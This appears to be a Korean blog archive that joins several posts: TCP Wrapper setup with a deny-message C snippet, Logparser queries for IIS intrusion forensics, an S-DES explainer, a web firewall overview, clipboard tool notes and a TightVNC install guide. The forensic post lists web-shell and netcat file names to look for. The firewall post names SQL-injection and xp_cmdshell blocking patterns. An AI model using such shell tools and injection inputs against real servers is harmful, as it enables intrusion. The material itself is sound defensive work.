   (경고: Ultrix나 IRIX에 설치하고자 하는 사람은 필히 README 화일과 README.
          IRIX 화일을 읽어 보아야 한다.)

5. uname -a를 실행하여 자신의 시스템이 무엇인지 확인한다.

6. Makefile을 보고 적당한 REAL_DAEMON_DIR을 선택하여 맨 앞의 #를 제거한다.
   (REAL_DAEMON_DIR이란 in.telnetd, in.rlogind와 같은 internet daemon들이
    실재할 위치를 말한다. 여기서 이미 설치되어 있는 directory를 선택하면
    제 11 단계를 빼먹어도 좋으나, 일반적으로 별도의 directory에 보호할
    internet daemon을 설치하는 것을 권장하고 있다.)

7. make를 실행하여 자신의 sys-type code가 있는지 확인한다. 자신의 sys-type
   code가 없으면 README를 자세히 읽고 그대로 따라서 한다.

8. make {sys-type} 을 실행하여 compile한다.
        예) make irix6          (Irix 6.x의 경우)
            make sunos5         (Solaris 2.x의 경우)
            make CC=gcc sunos5  (Solaris 2.x에서 gcc로 compile 하는 경우)

9. 제대로 컴파일 되었으면 superuser가 된 후 tcpd를 적당한 장소에 설치한다.
        예) /usr/ucb/install -o bin -g bin -m 755 tcpd /usr/local/sbin

10. inetd.conf를 보고, 외부 연결로부터 보호할 서비스들을 골라 tcpd가
    보호하도록 수정한다. inetd.conf는 /etc/inetd.conf 혹은
    /etc/inet/inetd.conf에 있다.
        예) finger service의 경우
           finger stream tcp nowait nobody /usr/etc/in.fingerd   in.fingerd
                                                           
           라고 되어있는 것을

           finger stream tcp nowait nobody /usr/local/sbin/tcpd  in.fingerd
                                                           
           로 바꾼다. 단, tcpd의 설치 위치에 따라 달라질 수 있다.

11. REAL_DAEMON_DIR이 실제 internet daemon이 설치된 위치와 다르다면 (6단계
    참조) 보호하고자 하는 service에 해당하는 internet daemon을
    REAL_DAEMON_DIR 로 복사한다. (cp -p option을 쓰는 것이 좋다.)

12. tcpdchk를 실행하여 제대로 고쳤는지 확인한다. (tcpdchk는 compile했던 그
    자리에 있다.) 문제점이 나타나면 9단계부터 다시 살펴본다.

13. ps ax 혹은 ps -ef 를 하여 inetd을 PID를 알아내고 kill -1 inetd.pid를
    수행한다. (IRIX설치자는 README.IRIX 참조) 이것으로 tcp_wrapper의
    설치는 끝났다.

14. /etc/hosts.deny라는 화일을 만들고 그 내용을 ALL:ALL로 함으로서
    모든 호스트의 접근을 금지시킨다.
    (tcpwrapper에 포함되어 있는 safe_finger등으로 좀 더 재미있는 일을
     할 수 있다. 자세한 내용은 README를 참조하라.)

15. /etc/hosts.allow라는 화일을 만들고 그 내용을 {daemon 이름}:{허가할
    호스트 명단} 으로 집어넣어 해당 호스트만 접근하도록 한다.

        예) ALL: myhome.kaist.ac.kr
            in.telnetd: labpc1.kaist.ac.kr,143.248.230.45
            in.pop3d: 143.248.0.0/255.255.0.0

16. 과 기계등을 이용하여 외부 호스트에서 접근 가능한지 시도해 본다.


6. Reference
http://user.chollian.net/~imtino/int/tcp_wrapper.html
http://www.certcc.or.kr/tools/index.html
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.porcupine.org/pub/security/tcp_wrapper.txt.Z
ftp://camis.kaist.ac.kr/pub/security/util/quick_install.ko.txt

참고 :
tcp wrapper 소스에서 clean_exit.c 의 clean_exit() 가 termination function인데
이것을 고쳐서 만약 허락되지 않는 호스트의 접속일 경우에 윈하는 메시지를 보여주고 접속을
끊을 수 있다.

 * 이것은 최재철( poison@inzen.com )님의 아이디어임을 밝힙니다.

void    clean_exit(request)
struct request_info *request;
{

    /*
     * In case of unconnected protocols we must eat up the not-yet received
     * data or inetd will loop.
     */

    if (request->sink)
        request->sink(request->fd);

    /*
     * Be kind to the inetd. We already reported the problem via the syslogd,
     * and there is no need for additional garbage in the logfile.
     */

     */
    denymsg();
 
    sleep(5);
    exit(0);
}

FILE *fp;
void denymsg()
{


        register int fd, nchars;
        int i;
        char tbuf[8192];

        fp = fopen("/dev/stdout", "rw");

        /* 허가되지 않은 호스트의 경우에 보여줄 메시지는 /etc/deny.msg 에 */
        if ((fd = open("/etc/deny.msg", O_RDONLY, 0)) < 0)
                return;
        while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
               (void)write(fileno(stdout), tbuf, nchars);
        (void)close(fd);

}

Posted by 1010
98..Etc/Security2008. 7. 24. 11:48
반응형

Logparser를 이용한 IIS 로그 Forensic 방법

 
Logparser는 MS에서 만든 강력한 IIS, W3C, 이벤트 로그 분석툴로서 SQL 쿼리타입으로 조건별 검색할 수 있는 강력한 툴입니다.

1) 가장 최근에 생성된 시간을 기준으로 ASP 스크립트를 변조한 Trojan Files 여부를 진단

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, CreationTime FROM C:\inetpub\wwwroot\*.* ORDER BY CreationTime DESC" -rtp:-1 


2). 가장 최근에 수정된 Files 로그 찾기

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, LastWriteTime FROM C:\inetpub\wwwroot\*.* ORDER BY LastWriteTime DESC" -rtp:-1   
  
3). 해커가 Trojan Files을 삭제한 경우에 HTTP 200 서버코드 흔적 로그를 찾는다.

C:\logparser "SELECT DISTINCT TO_LOWERCASE(cs-uri-stem) AS URL, Count(*) AS Hits FROM ex*.log WHERE sc-status=200 GROUP BY URL ORDER BY URL"    -rtp:-1  
 
* nc.exe, tini.exe, root.exe, cmd.exe, upload.asp, aspexec.asp, cmd.asp 같은 파일 이름이 있으면 의심

4) Script Abuse 분석(가장 많은 Request 요청을 받은 Executable 파일의 확장자 확인)

C:\logparser -i:FS "SELECT TO_LOWERCASE(SUBSTR(Name, LAST_INDEX_OF(Name, '.'),  STRLEN(Name))) AS Extenstion, Count(*) AS Files FROM C:\inetpub \wwwroot\*.*, C:\inetpub\scripts\*.* WHERE Attribute NOT LIKE 'D%' GROUP BY Extenstion ORDER BY Files DESC" -rtp:-1 

* 특히, .ASP, .DLL 파일 요청을 유심히 봐야함

5) HTTP 서버 500 에러코드 검사

C:\logparser "SELECT [cs-uri-stem], [cs-uri-query], Count(*) AS [Hits] FROM c:\logs\web\ex*.log WHERE sc-status = 500 GROUP BY [cs-uri-stem], [cs-uri-query] ORDER BY [hits], [cs-uri-stem] DESC" -rtp:-1 -i:iisw3c
 

6) 가장 많은 Request Hit 수를 높음 ASP, DLL 파일 확인

C:\logparser "SELECT TO_STRING(TO_TIMESTAMP(date, time), 'yyyy-MM-dd') AS Day, cs-uri-stem, Count(*) AS Total ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe') GROUP BY Day, cs-uri-stem ORDER BY cs-uri-stem, Day" -rtp:-1 

7) 시간당 에러수가 가장 많이 발생한 날짜 확인
 
C:\logparser "SELECT date, QUANTIZE(time, 3600) AS hour, sc-status, Count(*) AS Errors FROM ex03*.log WHERE sc-status>=400 GROUP BY date, hour, sc-status HAVING Errors>25 ORDER BY Error DESC" -rtp:-1 

* 25개 이상의 에러코드(404코드)를 발생한 날짜와 시간 결과를 출력

8) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

9) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인

C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

10)  모든 ASP 에러 기록 확인
 
C:\logparser "SELECT cs-uri-query, Count(*) AS Total FROM ex*.log WHERE sc-status>=500 GROUP BY cs-uri-query ORDER BY Total DESC" -rtp:-1 

* 특히, ODBC와 ADO 에러는 SQL Injection 가능성이 있으므로 주의깊게 살펴봐야 함

11) 스크립트 및 Executable 파일의 HTTP 서버 코드 기록 확인
 
C:\logparser "SELECT cs-uri-stem, sc-status, Count(*) AS Total FROM ex*.log WHERE TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%' GROUP BY cs-uri-stem, sc-status ORDER BY cs-uri-stem, sc-status" -rtp:-1 

12) Win32 Status Code 분석을 통한 Attack 확인
 
C:\logparser "SELECT cs-uri-stem, WIN32_ERROR_DESCRIPTION(sc-win32-status) AS Error, Count(*) AS Total FROM ex*.log WHERE sc-win32-status>0 AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, Error ORDER BY cs-uri-stem, Error" -rtp:-1
 

13) HTTP Method 통계 분석
 
C:\logparser "SELECT cs-uri-stem, cs-method, Count(*) AS Total FROM ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, cs-method ORDER BY cs-uri-stem, cs-method" -rtp:-1
Posted by 1010
98..Etc/Security2008. 7. 24. 11:47
반응형

DES ( data encryption standard ) is a symetric encryption.

 This means that the encryption and decryption is done with the same key.

permutations

Permutations are just bit pattern replacements.
Here are the 10 bit permutations.
premutation old pattern new pattern
p10 9876543210 7583609124
p8 9876543210 47362501
p4 3210 2013
ip 76543210 62574031
ip_inv 76543210 47531602
ep 3210 03212103
sw 76543210 32107654

functions

Des has two functions fk and F. These are shown graphically below.

f_k(L,R,SK) = ( L ^ F(R,SK),R )

s-boxes

These are simple two dimensional arrays of values.

We use data at runtime to determine what row and column to get. ex :

 static const uval S0[4][4] = 
{ { 1, 0, 3, 2 }, { 3, 2, 1, 0 }, { 0, 2, 1, 3 }, { 3, 1, 0, 3 } };  

simple DES

I am doing simple DES ( S-DES or 10 bit DES ).

I am working on 8 bit data blocks, with a 10 bit key. ( click on the images for larger versions )

Here is how generating subkeys works.
Here is how encryption works.

Here is how f_k works. The function F,

 is embedded inside this

simple.c simple DES source code

real DES

The above example is S-DES, which is a scaled down version of DES. DES usually has a 56-bit key, and 16 48-bit subkeys are generated. It works on 64-bit input blocks. F acts on 32 bits not 4. The s-boxes are 4 by 16, not 4 by 4 ( using the first and last bit for row ).

The images were created using Graphviz

 

 

 

#include<stdio.h> #include<stdlib.h>  /*    Simple DES    I am implimenting what is called 
Posted by 1010
98..Etc/Security2008. 7. 24. 11:46
반응형

웹 애플리케이션 보안제품은 웹 해킹 및 웜으로부터 핵심적인 웹 애플리케이션을 보호하는 전용 솔루션을 의미한다. 쿠키 변조, 세션 하이재킹, 폼필드 변조, 파라미터 변조와 같은 해킹에 대한 대응력이 뛰어나고 안전한 웹 서비스를 보장하기 위해 나온 웹 방화벽은 기존의 전통적인 방화벽처럼 Positive Security Policy 방식을 채택해 알려지지 않는 웹 공격에도 방어할 수 있도록 설계되어 있다. 여기서는 이미 많이 알려진 웹 공격에 대한 이야기나 웹 공격 방법에 대한 것은 논외로 하고 웹 방화벽에서 어떠한 방법으로 웹 공격 트래픽을 차단하는지에 대해 소개할 것이다.


[그림1] 네트워크 방화벽과 웹 방화벽에서 처리하는 네트워크 프로토콜 구성


웹 애플리케이션 보안 방법론

웹 애플리케이션 보안을 실현하기 위해 '안전하게 웹 애플리케이션을 개발하기 위한 지침서'에 따라 프로그래밍을 한다던지, 이미 개발돼 있는 프로그램의 소스 코드를 들여다 보던지 등 근본적인 해결책이 있지만 실제로는 적용하기가 쉽지 않고 보안 담당 관리자가 채택할 수 있는 방법도 한계가 있다. 이런 문제점의 대안으로 실제 구축되어 실효를 보고 있는 웹 애플리케이션 방화벽의 주요 기술에 대해 알아보도록 하자.

a. 애플리케이션 접근 제어(URL ACL)
웹 방화벽에서 제공하는 대표적인 Positive Security Policy 방식은 애플리케이션 접근 제어 기능이다. 전통적인 Negative Security Policy 모델에서는 취약점이 존재하는 파일의 시그니처 목록을 유지하면서 취약한 파일에 대한 접근을 차단하는 방식을 사용하지만(IDS, IPS), 이 방식은 알려진 취약점에 대해서만 제한적으로 적용할 수 있으며 공격당하기 전에 시그니처에 대한 업데이트가 이루어지지 않으면 무방비 상태가 될 수 있다. 웹 서버에는 서비스 제공자가 서비스를 제공하려는 대상 외에도 웹 서버가 설치될 때 자동으로 설치되는 테스트 애플리케이션이나 관리용 애플리케이션부터 개발 시에 남겨진 임시 파일까지 다양한 자원이 있다. 이러한 모든 자원에 대해 웹서버에 존재하는 모든 소스를 파악하는 것은 불가능하고 서비스에 관계없이 서버에 남겨진 모든 파일에 보안 취약점이 존재한다고 가정하여야 한다. 그래서 웹 방화벽은 직접적으로 서비스를 제공하는 파일만 명시적으로 공개하고 그 외의 모든 접근을 차단하는 Positive 방식을 채택한 것이다.

가장 간단한 접근 제어는 URL ACL로 웹 서버의 모든 자원 중 사용자에게 허용해야할 URL 리스트로 설정된 URL에 대해서만 접근을 허용하는 것이다. 이 허용 URL을 설정하는 것만으로도 의도되지 않은 중요 파일의 노출이나 서비스에 관계없는 취약한 프로그램의 노출을 차단할 수 있다.


[그림2] 허용할 URL과 파일 확장자를 지정하는 설정의 예


기본적인 허용 URL 리스트에 한 세션은 반드시 지정된 URL로부터 브라우징을 해야 한다는 시작 URL(Start URL)의 개념을 추가할 수 있는데, 시작 URL 기능을 설정한 경우 관리자에 의해 지정된 시작 URL(일반적으로 /index.html)에 접근한 적이 없는 사용자는 서버의 다른 어떤 URL에도 접근할 수 없는 기능이다. 이를 통해 웜에 의한 취약점 전파 시도, 취약점 스캐너에 의한 스캐닝 등과 같이 취약한 URL에 직접 접근해오는 강제 브라우징을 차단할 수 있다.

또한 로그인한 사용자와 그렇지 않는 사용자에게 다른 서비스를 제공하는 애플리케이션과 같이 자원이 구분돼 있는 경우는 별도의 보호 URL 리스트(Protected URL list)와 진입 URL(Entry URL List)을 설정해 자원에 대한 접근을 제한할 수 있다.

그런데 이와 같은 애플리케이션 접근 제어 기능을 사용하기 위해서는 애플리케이션의 구조에 대한 지식이 필요하다. 일반적으로 애플리케이션 관리자의 경우 애플리케이션 개발자와 다르기 때문에 애플리케이션의 구조에 대한 지식이 부족한 경우가 많다. 그래서 웹 방화벽은 애플리케이션의 구조를 자동으로 분석해주는 크롤러(Crawler)나 학습(Learning) 기능이 함께 제공되는 경우가 많다.

b. 폼 필드 검사 기능(Prameter ACL)
웹 애플리케이션에 대한 공격의 대부분은 폼 필드를 처리하는 action URL에 해당하는 프로그램에 대한 공격이다. 웹 애플리케이션에 대한 입력은 대부분 폼 필드를 통해 이뤄지므로 웹 애플리케이션 공격이 이 폼 필드에 집중되고 그래서 웹 방화벽의 핵심 기능도 폼 필드 입력에 대한 검사 기능이다. 폼 필드 검사 기능의 폼의 형식이나 입력 값의 조건 등을 입력하는 방식의 Positive 방식과 입력되어서는 안 되는 패턴을 정의하는 Negative 방식을 함께 사용한다.

예를 들어 quote('), comma(,), semi-colon(;), 스페이스 등의 SQL 표현식에 필요한 문자들과 OR, SELECT, UNION과 같은 SQL 키워드의 조합이 폼 필드 입력 값으로 들어오면 필드 형식 제한 및 차단 패턴 검사로 걸러지게 된다.

Xp_cmdshell과 같은 시스템 명령을 실행할 수 있는 공격이 들어오는 경우도 차단 패턴 검사에 의해 걸러진다.


[그림3] 폼필드 공격의 예


 

검사항목

설명

필드 길이 제한

필드에 대한 버퍼 오버플로우 공격을 차단하기 위해 입력 크기를 검사한다. 미리 정의된 길이에 위배되는 입력이 들어오면 차단

필드 형식 제한

SQL-injection, 버퍼 오버플로우 공격을 수행하는 것을 차단하기 위해 필드 형식을 검사한다. 일반적으로 정규식으로 표현된 패턴에 위배되는 입력이 들어오면 차단

상수 값 변조 검사

필드에 대한 입력 값을 변조하는 공격을 차단하기 위해 값이 고정된 필드의 경우 변조 여부를 검사한다. 필드가 항상 고정된 값을 갖거나 서버가 클라이언트에게 전달된 값이 변경없이 다시 돌아와야 하는 경우에, 허용된 상수 리스트 이외의 값이 입력으로 들어오면 차단

차단 패턴 검사

공격으로 알려진 패턴이 입력되는 것을 차단하는 기능이다. 대표적인 Negative 기능으로 SQL-injection, XSS, 버퍼 오버플로우 공격에 사용됨


[표1] 폼필드 검사항목


 


[그림4] 폼필드 ACL설정의 예


c. Cookie 보호 기능
웹 애플리케이션의 세션 기반 동작을 위한 핵심은 쿠키(cookie)다. 따라서 세션에 대한 공격을 위한 주 공격 대상이 되는 것도 쿠키며, 거의 모든 웹 방화벽에서도 쿠키 보호 기능을 제공한다.

쿠키 보호 기능에는 쿠키 형식 검사, 암호화, 변조를 막는 전자 서명으로 나눌 수 있다.

웹 방화벽은 사용자 설정이나 학습을 통해 쿠키의 크기, 형식과 같은 정보를 갖고 클라이언트에서 서버로 제공되는 쿠키의 형식을 검사하며 형식에 맞지 않는 쿠키 값이 존재할 경우 조작된 쿠키로 간주해 이를 웹 서버로 전달하지 않는다.

쿠키 암호화는 웹 서버에서 클라이언트로 보내는 쿠키를 웹 방화벽에서 암호화해 보냄으로서 악의적인 공격자가 암호화된 쿠키의 내용을 볼 수 없고 임의로 쿠키 값을 변조하더라도 웹 방화벽에서 복호화하여 다시 웹 서버로 전달 됐을 때 아무런 의미 없는 값이 전달되므로 공격을 무위로 돌릴 수 있다.

그런데, 쿠키의 단순한 암호화는 쿠키 값의 의미를 클라이언트가 추측할 수 없도록 해주지만, 쿠키의 조작 여부를 판단할 수는 없다. 조작 여부를 판단할 수 있도록 메시지 인증 코드(Message Authentication Code, MAC)를 삽입하거나 쿠키 전자 서명을 사용해 이를 보완한다.

아무리 암호화를 해도 쿠키의 내용을 변조하지 않고 그대로 가져가 다른 사용자의 세션을 가로채는 세션 하이재킹(session hijackin)공격에는 적절히 대응할 수 없다.
세션 하이재킹을 막기 위해서는 세션 쿠키의 타임아웃을 지정하는 방법을 사용하기도 하지만, 타임아웃 되기 전에 이뤄지는 세션 하이재킹에는 속수무책이다. 그래서 일부 웹 방화벽에서는 세션 쿠키에 대한 IP 주소 제한 기능을 제공하기도 한다. 서버가 쿠키를 전송해준 IP 주소 이외의 곳에서 쿠키가 입력될 경우 세션 하이재킹으로 간주해 요청을 차단하는 것이다.

이 같은 IP 주소 기반 쿠키 보호 기능은 보완성을 높여주기는 하지만, 동적 IP나 프록시 팜을 이용하는 사용자와 같은 특정 상황에서는 제한적으로 사용될 필요가 있다.


[그림5] 사용자로 가는 쿠키에 대한 암호화와 전자 서명을 나타냄


d. 웹 사이트 위장 기능
위장(Cloaking) 기능은 웹 방화벽 뒤에 있는 웹 서버의 정보를 최대한 숨겨 악의적인 공격자가 공격 대상을 지정하거나 공격의 성공에 도움이 되는 정보를 획득할 수 없도록 한다.

일반적으로 공격자들은 성공적인 공격을 위해 스캐닝을 통해서 웹 서버의 종류와 버전을 미리 알아낸 후 그에 해당하는 공격을 수행한다. IIS서버에는 IIS서버의 해당 버전에 맞는 공격 코드를 실행하고, 아파치 서버라면 아파치 서버의 해당 버전에 맞는 공격 코드를 실행하는 것이다. 이런 경우 웹 방화벽에 의해 조작된 서버 정보를 이용해 공격자를 방해하거나 아예 정보를 노출 하지 않을 수 있다. 특히 자동화된 취약점 공격 툴을 사용하는 공격자라면 변조된 서버 정보에 의해 공격을 성공시키는 것이 더욱 어려울 것이다.


[그림6] 사용자로 하여금 대상 서버에 대한 정보를 감춘다.


e. 컨텐츠 보호 기능
컨텐츠 보호 기능은 다양하지만 가장 인기 있는 것은 주민등록번호나 신용카드 정보의 유출 차단 기능이다. 이것은 SQL-injection과 같은 웹 애플리케이션에 대한 공격의 결과로 데이터베이스에 저장돼 있는 고객들의 개인 정보 유출을 차단하는 기능이다. 이 기능은 일반적으로 정규식과 같은 형식의 룰을 사용해 서버의 응답을 검사한다.

예를 들면 Visa 신용 카드의 경우는 다음과 같은 정규식을 사용해 응답을 검사한다.
4[[:digit:]]{12}|4[[:digit:]]{15}

정규식을 이용한 매칭 이외에도 주민등록번호와 같이 규칙이 있는 패턴은 별도의 검사 루틴이 포함돼 오탐지율을 줄이기도 한다.

f. 그 밖의 웹 애플리케이션 보호 기능
전통적인 방화벽에서의 NAT기능을 모방한 WAT(Web address Translation)기능으로 사용자에게는 실제 웹 주소를 감출 수 있다.
a.###.com/login.asp 와 b.###.com/banner.gif 는 모두 www.###.com/login.asp와 www.###.com/image/banner.gif 로 변경되어 사용자에게 노출하는 기능이다.

그 밖에 HTTP 트래픽을 HTTPS 트래픽으로 암호화해 전송하는 기능, 네트워크의 속도 저하 방지 및 효율성 보장을 위한 WEB I/O, SSL 가속, WEB cache 기능, 웹 서버들의 로드 밸런싱 기능 등이 현재 출시된 웹 방화벽들의 주요 기능들이다.

웹 방화벽의 혜택

기업들이 계속해서 웹에 더 많은 정보를 올림에 따라 애플리케이션 차원의 공격은 점점 더 일반화될 것이다. 이미 수많은 해커 웹 사이트에서는 이런 활동을 돕는 자습서와 쉐어웨어 프로그램까지도 제공하고 있다. 그러므로 기업은 애플리케이션 플로우 모델을 보안 전략으로 삼아 애플리케이션 방화벽을 이용한 체계적인 접근이 필요하다.

[참고]
NETWORK TIMES 2005.11, 2006.2,3,4월호
http://www.kisia.or.kr
http://www.netcontinuum.com

 

 

[저자] 이승묵 안랩코코넛 보안사업부, mook@coconut.co.kr
[출처] 안랩코코넛 시큐레터(2006. 6월)

Posted by 1010
98..Etc/Etc...2008. 7. 24. 10:18
반응형

Table of Contents

Why Multi-Clipboard?

Every developer knows that copy and paste is not good for your code. Every developer I've ever seen uses copy and paste. On some editors and IDEs, copy and paste is better than on others. I have always missed the emacs-like rolling clipboard. This is why the Multi Clipboard was written.

What is Multi-Clipboard?

Multi Clipboard gives you a clipboard for text- and source-code editor contents that holds multiple entries. You can collect some snippets by adding them to the Multi Clipboard and then paste any of them to where you need them.

You can configure the plug-in to save the contents of your Multi Clipboard to a file when Eclipse is closed. Contents are then reloaded when Eclipse is opened. You can even configure the plug-in to enable editing the contents of the Multi Clipboard.

What are the license terms?

Multi-Clipboard is distributed under the Eclipse Public License, v 1.0. You can find the license details online at http://www.eclipse.org/legal/epl-v10.html.

The license is an Open Source license. The source can be found here as a zip-file for download.

I hope the plug-in serves you well. In case you find any problems with using it, have ideas for additional useful features or any other comments, contact me.

Rate it, publish feedback...

If you like the plug-in or you have comments to make: let others know! Multi-Clipboard is listed on eclipse-plugins.info and on eclipseplugincentral.com. Both sites allow commenting and rating plug-ins. On eclipse-plugins.info, you need to be a registered user to rate plugins - register and rate Multi-Clipboard!. On eclipseplugincentral.com, you can rate the plugin anonymously - go here.

What's new?

Release 2.1.1

This is a patch because 2.1.0 was compiled under Java 5 leading to problems with users using JRE 1.4. No functional differences compared to 2.1.0 - Sorry for the trouble!

Release 2.1.0

  • Now compatible with most editors (also html-, xml- and other structured editors)
  • Added option to insert to a specific slot in the clipboard
  • Added option append new entries rather than pushing them from the top

Release 2.0.0

  • Adds a dialog ('quick-view') for the MC-contents (Ctrl+Shift+V)
  • Changed license to EPL v1.0 (Open Source!)

Installation

Click here for help on how to install the feature in Eclipse (for Eclipse-fluent users: you need an update-site with URL http://www.bastian-bergerhoff.com/eclipse/features, everything else is standard).

Alternatively, you may directly download the jar-file from the following links. Unpack it to the plugins-directory of your eclipse-installation into a directory called the same as the jar (without the extension, of course). Note that plugins installed in this way can not be managed using the Eclipse Configuration-Management tools.

Current Release

Version 2.1.1

Source (as of version 2.0.0)

Version 2.1.0 and 2.1.1 (no source changes)

Version 2.0.0

Archive

Version 2.1.0

Version 2.0.0

Version 1.1.0

Version 1.0.1

Posted by 1010
98..Etc/Etc...2008. 7. 24. 10:17
반응형
Features
  • Easy to use interface
  • Search and paste previous copy entries
  • Keep multiple computer's clipboards in sync
  • Data is encrypted when sent over the network
  • Accessed from tray icon or global hot key
  • Select entry by double click, enter key or drag drop
  • Paste into any window that excepts standard copy/paste entries
  • Display thumbnail of copied images in list
  • Full Unicode support (display foreign characters)
  • UTF-8 support for language files (create language files in any language)
  • Uses sqlite database (www.sqlite.org)
Download - Version 3.15.4

Download Standard Install

Download Portable (zip file)

Download Source

Help File

http://ditto-cp.sourceforge.net/Help

Posted by 1010
98..Etc/Etc...2008. 7. 16. 10:51
반응형

VNC Server 설정 및 사용

 


1. VNC 개요


VNC(Virtual Network Computing)는 원격 서버의 X윈도우 데스크탑 환경을 네트워크를 통해 자신의 컴퓨터에 출력하여 사용할 수 있게 하는 기능을 제공합니다.

VNC 접속에는 Server와 Client 개념으로 접속을 하므로, 접속을 시도하는 원격지 컴퓨터가 Client가 되며, Client의 화면에 보여지는 내용, 즉 실제 작업이 이루어지는 공간이 Server에 해당됩니다.


현재 한소프트 리눅스 2005 Workstation에 포함되어 있는 VNC는 X환경의 차이로 인해 동작하는데 일부 문제가 있습니다.

XFree86 (기존의 X환경 도구)이 4.4 버전부터 라이센스가 변경되어 더 이상 오픈 소스로서 이 도구를 사용하지 못하게 되자, freedesktop.org에서 xorg라는 이름으로 X환경 도구를 재배포하게 되었으며, 한소프트 리눅스에서는 이 xorg를 기본 X환경 도구로 채택하여 사용하고 있는데, 여기서 xorg와 VNC의 호환에 약간의 문제가 발생하였기 때문입니다.


환 경 변화에 따른 과도기적인 현상으로 VNC 새 버전에서는 이러한 현상들이 수정되리라 생각되지만, 일단 현재의 시스템에서 VNC를 사용하기 위해서는 한소프트 리눅스에 기본 포함되어 있는 VNC(realvnc) 보다는 tightvnc를 사용하기를 권장합니다.


[참고 Site]

http://www.tightvnc.org/download.html
http://rpm.pbone.net/ 에서 tightvnc-server 로 검색


위 사이트에서 VNC 서버를 다운받아서 설치합니다.
tightvnc -server의 경우 이전 XFree86과의 의존성 문제 등으로 설치 시 오류가 발생할 수도 있는데, 이때는 --force --nodeps 옵션으로 강제로 설치합니다. 테스트 결과 강제로 설치해도 사용에 별 문제가 없었습니다.

 


2. VNC 설치

아래의 순서대로 기존에 설치되어 있는 VNC를 삭제하고 tightvnc 프로그램을 설치합니다.


① 기존에 설치된 VNC 프로그램이 있는지 확인하고, 있다면 삭제합니다.

[기존 VNC 프로그램 확인 및 제거]

[root@localhost ~]# rpm -qa | grep vnc

vnc-4.0-9

vnc-server-4.0-9

[root@localhost ~]# rpm -e vnc vnc-server


② 앞서 설명한 참고 Site에서 tightvnc 프로그램을 다운 받습니다.

[TightVNC 다운로드]

tightvnc-1.2.9-1.i386.rpm           # Client용 프로그램

tightvnc-server-1.2.9-1.i386.rpm    # Server용 프로그램


③ Server쪽 시스템과 Client쪽 시스템 각각에 해당 프로그램들을 설치합니다.

[Server용 프로그램 설치]

[root@localhost ~]# rpm -Uvh tightvnc-server-1.2.9-1.i386.rpm

오류: Failed dependencies:

        XFree86 is needed by tightvnc-server-1.2.9-1

[root@localhost ~]# rpm -Uvh tightvnc-server-1.2.9-1.i386.rpm --nodeps --force

준비 중...                  ################################# [100%]

   1:tightvnc-server        ################################# [100%]

[Client용 프로그램 설치]

[root@localhost ~]# rpm -Uvh tightvnc-1.2.9-1.i386.rpm

준비 중...                  ################################# [100%]

   1:tightvnc               ################################# [100%]




3. VNC 설정 및 구동


(1) 서버 설정 및 구동


Client에서 Server 접속 시 서버에서 인증할 VNC 비밀번호를 6자리 이상으로 설정합니다.

[VNC 패스워드 설정]

[root@localhost ~]# vncpasswd

Using password file /root/.vnc/passwd

VNC directory /root/.vnc does not exist, creating.

Password:

Verify:

[root@localhost ~]#

※ 위 명령을 실행하면, 해당 계정의 홈디렉토리 아래에 .vnc라는 디렉토리가 생성되고, 이 안에 있는 passwd 파일에 앞서 입력한 패스워드가 암호화되어 저장됩니다.


이후에 아래와 같은 vncserver 명령어로 VNC 서버를 가동합니다.

[VNC 서버 가동]

[root@localhost .vnc]# vncserver

New ''X'' desktop is localhost.localdomain:3

Starting applications specified in /root/.vnc/xstartup

Log file is /root/.vnc/localhost.localdomain:3.log

[root@localhost .vnc]#

위와 같이 vncserver를 가동하면 해당 계정 홈디렉토리의 .vnc 아래에 xstartup 파일과 log 파일이 생성됩니다.

xstartup은 Client에서 VNC 서버로 접속할 때 사용하는 X환경 초기화 실행스크립트이며, log는 접속 결과를 저장하는 파일입니다.


보통 리눅스 부팅 시 런레벨(Run-Level) 5로 X윈도우 환경을 띄우는 경우 디스플레이(Display) 0번을 사용합니다.

여기서 VNC 서버를 실행하면 이미 로딩된 디스플레이에서 순차적으로 번호를 증가하며 Xvnc를 띄웁니다.

vncserver 명령을 여러번 실행하면, 그때마다 순차적으로 증가된 번호로 vncserver가 가동됩니다.

위의 예에서는 ''localhost.localdomain:3''으로 표시되어 있는 것을 볼 때, vncserver를 3번 실행했을 때의 화면임을 알 수 있습니다.

이렇게 3개의 vncserver가 가동되면 Client에서 원격 접속 시 3개의 루트로 각각 접속할 수 있게 되겠죠.


그리고, /tmp 디렉토리 아래에 외부에서 접속했을 때 임시로 사용되는 디렉토리가 생성됩니다.

[VNC 임시 디렉토리]

/tmp/.X11-unix/X0

/tmp/.X11-unix/X1

/tmp/.X11-unix/X2

/tmp/.X11-unix/X3



참고

※ 추가 설정

위의 설정만으로도 VNC에 정상적으로 접속할 수 있습니다만, 좀 더 다양한 설정을 위해 /usr/bin/vncserver 파일을 직접 수정할 수도 있습니다.

[VNC Server 상세 설정]

$geometry = "1024x768";

$depth = 24;

$desktopName = "X";

$vncClasses = "/usr/share/vnc/classes";

$vncUserDir = "$ENV{HOME}/.vnc";

$fontPath = "unix/:7100";

......

$cmd = "Xvnc :$displayNumber";

$cmd .= " -desktop " . &quotedString($desktopName);

$cmd .= " -httpd $vncClasses";

$cmd .= " -auth $xauthorityFile";

$cmd .= " -geometry $geometry" if ($geometry);

$cmd .= " -depth $depth" if ($depth);

